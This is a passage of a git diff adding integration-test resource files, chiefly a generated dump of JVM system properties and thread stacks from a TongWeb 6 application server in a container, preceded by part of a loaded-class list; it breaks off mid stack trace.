+org.apache.http.client.yIZkR.ErrorHandler +org.apache.juli.AsyncFileHandler$LoggerThread +org.apache.tomcat.util.net.Acceptor +org.apache.tomcat.util.net.NioBlockingSelector$BlockPoller +org.apache.tomcat.util.net.NioEndpoint +org.apache.tomcat.util.net.NioEndpoint$Poller +org.apache.tomcat.util.net.NioEndpoint$SocketProcessor +org.apache.tomcat.util.net.SocketProcessorBase +org.apache.tomcat.util.threads.TaskQueue +org.apache.tomcat.util.threads.TaskThread$WrappingRunnable +org.apache.tomcat.websocket.server.WsFilter diff --git a/integration-test/src/test/resources/infos/TongWeb6ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/TongWeb6ContainerTestBasicInfo.txt new file mode 100644 index 00000000..a720489a --- /dev/null +++ b/integration-test/src/test/resources/infos/TongWeb6ContainerTestBasicInfo.txt @@ -0,0 +1,1420 @@ +# Generated At 2025-08-10 15:27:15 +SystemProps: +java.vendor: Oracle Corporation +sun.java.launcher: SUN_STANDARD +catalina.base: /opt/tweb6 +sun.nio.ch.bugLevel: +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +javax.el.ExpressionFactory: com.tongweb.web.el.ExpressionFactoryImpl +catalina.useNaming: true +os.name: Linux +sun.boot.class.path: /opt/tweb6/lib/endorsed/annotation-api.jar:/opt/tweb6/lib/endorsed/validation-api.jar:/usr/local/openjdk-8/jre/lib/resources.jar:/usr/local/openjdk-8/jre/lib/rt.jar:/usr/local/openjdk-8/jre/lib/sunrsasign.jar:/usr/local/openjdk-8/jre/lib/jsse.jar:/usr/local/openjdk-8/jre/lib/jce.jar:/usr/local/openjdk-8/jre/lib/charsets.jar:/usr/local/openjdk-8/jre/lib/jfr.jar:/usr/local/openjdk-8/jre/classes +javax.security.jacc.PolicyConfigurationFactory.provider: com.tongweb.tongejb.core.security.JaccProvider$Factory +com.tongweb.web.thor.startup.ContextConfig.jarsToSkip: +java.vm.specification.vendor: Oracle Corporation +java.runtime.version: 1.8.0_342-b07 +org.apache.security.jacc.EJBMethodPermission.methodInterfaces: BusinessLocalHome,BusinessRemoteHome,BusinessRemote,BusinessLocal +user.name: root +shared.loader: +tongweb.built: 2016.09.12 +tongweb.home: /opt/tweb6 +java.naming.factory.initial: com.tongweb.web.naming.tongweb.java.javaURLContextFactory +user.language: en +derby.system.home: /opt/tweb6 +ibm.stream.nio: true +sun.boot.library.path: /usr/local/openjdk-8/jre/lib/aarch64 +openejb.assembler: com.tongweb.tongejb.assembler.classic.ThorAssembler +openjpa.Log: com.tongweb.tongejb.openjpa.JULOpenJPALogFactory +openwebbeans.logging.factory: com.tongweb.webbeans.logger.JULLoggerFactory +tongweb.java: /usr/local/openjdk-8 +openejb.offline: false +java.version: 1.8.0_342 +java.util.logging.manager: com.tongweb.log.TongwebLogManager +user.timezone: Etc/UTC +java.net.preferIPv4Stack: true +sun.arch.data.model: 64 +tongweb.util.buf.StringCache.byte.enabled: true +tongweb.upload: /opt/tweb6/temp/upload +java.endorsed.dirs: /opt/tweb6/lib/endorsed +sun.cpu.isalist: +sun.jnu.encoding: UTF-8 +file.encoding.pkg: sun.io +package.access: sun.,com.tongweb.web.thor.,com.tongweb.web.oro.,com.tongweb.web.webutil.,com.tongweb.web.jasper. +file.separator: / +java.specification.name: Java Platform API Specification +tongweb.snapshotinhour: 5 +java.class.version: 52.0 +java.home: /usr/local/openjdk-8/jre +java.vm.info: mixed mode +os.version: 6.14.10-orbstack-00291-g1b252bd3edea +openejb.embedder.source: ThorServerListener +sun.font.fontmanager: sun.awt.X11FontManager +tongweb.sysapp: /opt/tweb6/applications +path.separator: : +java.vm.version: 25.342-b07 +openejb.configurator: com.tongweb.tongejb.config.ThorConfigurationFactory +tongweb.util.scan.DefaultJarScanner.jarsToSkip: openejb-rest,openwebbeans-,httpcore-,ant-launcher.jar,rmock-,ecj-,xml-apis-,shrinkwrap-,mlibwrapper_jai.jar,arquillian-core-api-,lucene-analyzers-,quartz-,slf4j,myfaces-api,webbeans-ejb,jhall.jar,javax.,openejb-jpa-integration,commons-logging-api-,jmx.jar,jsp-api,org.osgi.core-,arquillian-test-spi,jboss-,hibernate,org.eclipse.,ant-junit,pax-,xalan-,commons-codec,jta,idb-,openejb-cxf-transport,wss4j-,commons-io-,cglib-,commons-collections-,xmlschema-,gragent.jar,xercesImpl-,hamcrest-,swizzle-,commons-cli-,XmlSchema-,opensaml-,access-bridge-64.jar,servlet-api-,activation-,javaws.jar,commons-math,activemq-,xml-resolver-,commons-logging-,woodstox-core-asl-,sunjce_provider.jar,howl-,jmx-tools.jar,xmlsec-,cssparser-,openejb-derby,jsr299-,arquillian-common,eclipselink-,jstl.jar,htmlunit-,saaj-,surefire-,guice-,serp-,openejb-cxf-bundle,aether-,groovy-,wagon-,commons-daemon.jar,avalon-framework-,openejb-openwebbeans,sisu-inject,jsp-api.jar,jcommander-,openejb-jstl,hawtjni-runtime,commons-fileupload,CoreAudio.jar,aspectj,jettison-,h2,jasypt-,sac-,commons-httpclient-,arquillian-test-impl-base,arquillian-config-,sunmscapi.jar,arquillian-core-spi-,stax-api-,pulse-java.jar,sshd-,openejb-core,jai_codec.jar,log4j,j3dcore.jar,ziplock-,log4j-,openejb-ejbd,hawtbuf-,commons-codec-,zipfs.jar,openws-,oro-,testng-,jaccess.jar,idea_rt.jar,jmdns-,arquillian-tomee-,mbean-annotation-api-,ant.jar,httpclient,bval-core,commons-lang3-,j3dutils.jar,commons-digester-,jai_core.jar,openjpa-,commons-lang,geronimo-spec-jaxrpc,sisu-guice,catalina-,commons-dbcp-all-1.3-,bval-jsr,jbossjts-,j3daudio.jar,openejb-api,jbossall-,commons-pool,axis-,gnome-java-bridge.jar,openejb-loader,bootstrap.jar,juli-,xercesImpl.jar,leveldb,servlet-api.jar,activeio-,bcprov-,jsr311-,logkit-,commons-pool-,ApacheJMeter,httpclient-,myfaces-impl,dom4j-,commons-net-,aopalliance-,arquillian-junit-,google-,jansi-,joda-time-,dns_sd.jar,hawtdispatch-,javaee-api,jline,xbean-,sunec.jar,velocity-,jbosssx-,lucene-core-,openejb-webservices,derbynet-,icu4j-,commons-beanutils,arquillian-container-,derby-,xmlrpc-,apple_provider.jar,xml-apis.jar,vecmath.jar,jbosscx-,webbeans-ee,openejb-javaagent,hsqldb-,junit-,localedata.jar,openejb-jsf,mail,org.junit.,jsoup-,el-api.jar,commons-dbcp,maven-,ops4j-,plexus-,commons-io,wsdl4j,mina-,MRJToolkit.jar,cxf-,mimepull-,jersey-,commons-discovery-,commons-logging,ldapsec.jar,jaxp-,webbeans-spi,AppleScriptEngine.jar,derbyclient-,wsdl4j-,tools.jar,openejb-hsql,jetty-,openejb-server,snappy-java-,openejb-cxf,commons-collections,javaee-,openejb-jee,jasper-el.jar,hibernate-,arquillian-core-impl-base,scannotation-,nekohtml-,slf4j-,c3p0-,commons-digester,openejb-cxf-rs,openejb-provisionning,jasper.jar,commons-lang-,javassist-,arquillian-test-api,openejb-http,serializer-,junit.jar,axis2-,dnsns.jar,mqtt-client-,xmlParserAPIs.jar,openejb-client,commons-httpclient,kahadb-,antlr-,deploy.jar,neethi-,jackson-mapper-asl-,webbeans-impl,annotations-api.jar,jaxb-,sunpkcs11.jar,xmlunit-,fusemq-leveldb-,wstx-asl-,geronimo-,gson,xmltooling- +java.awt.printerjob: sun.print.PSPrinterJob +java.security.policy: /opt/tweb6/conf/tongweb.policy +sun.io.unicode.encoding: UnicodeLittle +awt.toolkit: sun.awt.X11.XToolkit +package.definition: sun.,java.,com.tongweb.web.thor.,com.tongweb.web.oro.,com.tongweb.web.webutil.,com.tongweb.web.jasper. +TW_ORGINAL_SECURITY_LOGIN_CONFIG: /opt/tweb6/conf/security/login.config +tongweb.app: /opt/tweb6/deployment +java.naming.factory.url.pkgs: com.tongweb.web.naming.tongweb:com.tongweb.tongejb.core.ivm.naming +openejb.home: /opt/tweb6 +java.security.egd: file:/dev/./urandom +user.home: /root +java.rmi.server.RMIClassLoaderSpi: com.tongweb.server.TongWebRMIClassLoader +openejb.version: 1.0.0 +java.specification.vendor: Oracle Corporation +java.library.path: /usr/java/packages/lib/aarch64:/lib:/usr/lib +java.vendor.url: http://java.oracle.com/ +java.vm.vendor: Oracle Corporation +common.loader: ${catalina.base}/lib,${catalina.base}/lib/*.jar,${catalina.home}/lib,${catalina.home}/lib/*.jar +java.runtime.name: OpenJDK Runtime Environment +sun.java.command: com.tongweb.web.thor.startup.ThorBootstrap start +java.class.path: /usr/local/openjdk-8/lib/tools.jar:/opt/tweb6/lib/launcher.jar:/opt/tweb6/lib/tongejb-javaagent.jar +com.tongweb.agent.com.AgentUtil.AgentCaller.class: com.tongweb.heimdall.common.master.util.AgentCallerImpl +com.tongweb.commons.logging.Log: com.tongweb.commons.logging.impl.Jdk14Logger +java.vm.specification.name: Java Virtual Machine Specification +java.vm.specification.version: 1.8 +catalina.home: /opt/tweb6 +sun.cpu.endian: little +sun.os.patch.level: unknown +java.awt.headless: true +java.io.tmpdir: /opt/tweb6/temp +java.vendor.url.bug: http://bugreport.sun.com/bugreport/ +server.loader: +os.arch: aarch64 +java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment +java.ext.dirs: /usr/local/openjdk-8/jre/lib/ext:/usr/java/packages/lib/ext +tongweb.jndi.lookup.relaxVersion: false +user.dir: /opt/tweb6 +tongweb.poseidon.master.home: /opt/tweb6/applications/heimdall/ +line.separator: + +java.vm.name: OpenJDK 64-Bit Server VM +com.tongweb.tongejb.core.security.JaccProvider: com.tongweb.tongejb.core.security.jacc.BasicJaccProvider +java.security.auth.login.config: /opt/tweb6/conf/security/login.config +tongweb.version: 6.0.7.0 +openejb.base: /opt/tweb6 +isServerMode: true +openejb.jsf.skip: false +file.encoding: UTF-8 +com.tongweb.web.thor.startup.TldConfig.jarsToSkip: +noBanner: true +java.specification.version: 1.8 +master.path: /opt/tweb6 + +=========================================== + +ThreadStacks: +"DefaultQuartzScheduler_Worker-5" #161 [TIMED_WAITING] on com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread@43f698f2 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread.run(SimpleThreadPool.java:553) + +"snapshot" #176 daemon [TIMED_WAITING] on java.util.TaskQueue@1fc0981c + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:552) + at java.util.TimerThread.run(Timer.java:505) + +"http-nio-8443-exec-2" #117 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1bff1f3c + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"ajp-bio-8009-Acceptor-0" #139 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409) + at java.net.ServerSocket.implAccept(ServerSocket.java:560) + at java.net.ServerSocket.accept(ServerSocket.java:528) + at com.tongweb.web.webutil.util.net.DefaultServerSocketFactory.acceptSocket(DefaultServerSocketFactory.java:60) + at com.tongweb.web.webutil.util.net.JIoEndpoint$Acceptor.run(JIoEndpoint.java:217) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-0.0.0.0-8080-exec-4" #106 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5efd9227 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"DefaultQuartzScheduler_Worker-8" #164 [TIMED_WAITING] on com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread@2af039e1 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread.run(SimpleThreadPool.java:553) + +"TWNT-startStop-1" #88 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74f228a0 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"RMI RenewClean-[192.168.215.5:39889]" #18 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@6fe94e5a + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at sun.rmi.transport.DGCClient$EndpointEntry$RenewCleanThread.run(DGCClient.java:563) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-0.0.0.0-9060-exec-7" #96 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@c0caa64 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"GC Daemon" #15 daemon [TIMED_WAITING] on sun.misc.GC$LatencyLock@3ed26d68 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at sun.misc.GC$Daemon.run(GC.java:117) + +"http-nio-0.0.0.0-8080-exec-8" #110 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5efd9227 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@5b00e53a + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165) + at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:216) + +"http-nio-8443-exec-7" #122 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1bff1f3c + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"NioBlockingSelector.BlockPoller-1" #21 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.tongweb.web.webutil.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:328) + +"WebSocketClient-AsyncIO-2" #143 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7e3efb9e + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:262) + at sun.nio.ch.AsynchronousChannelGroupImpl$1.run(AsynchronousChannelGroupImpl.java:112) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1165) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-0.0.0.0-8080-Acceptor-0" #115 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249) + at com.tongweb.web.webutil.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:859) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-0.0.0.0-8080-exec-6" #108 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5efd9227 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"ajp-bio-8009-exec-5" #133 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@170821b7 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-0.0.0.0-9060-exec-5" #94 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@c0caa64 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"com.tongweb.tongejb.pool.scheduler.1" #61 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3a9cb713 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"ajp-bio-8009-AsyncTimeout" #140 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at com.tongweb.web.webutil.util.net.JIoEndpoint$AsyncTimeout.run(JIoEndpoint.java:149) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-0.0.0.0-9060-exec-6" #95 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@c0caa64 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"WebSocketClient-AsyncIO-6" #147 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7e3efb9e + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:262) + at sun.nio.ch.AsynchronousChannelGroupImpl$1.run(AsynchronousChannelGroupImpl.java:112) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1165) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"com.tongweb.tongejb.pool.scheduler.3" #63 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6669ac4f + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Stateful cache" #60 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6f025917 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"RMI TCP Accept-0" #13 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409) + at java.net.ServerSocket.implAccept(ServerSocket.java:560) + at java.net.ServerSocket.accept(ServerSocket.java:528) + at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:405) + at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:377) + at java.lang.Thread.run(Thread.java:750) + +"WebSocketClient-AsyncIO-1" #142 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7e3efb9e + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:262) + at 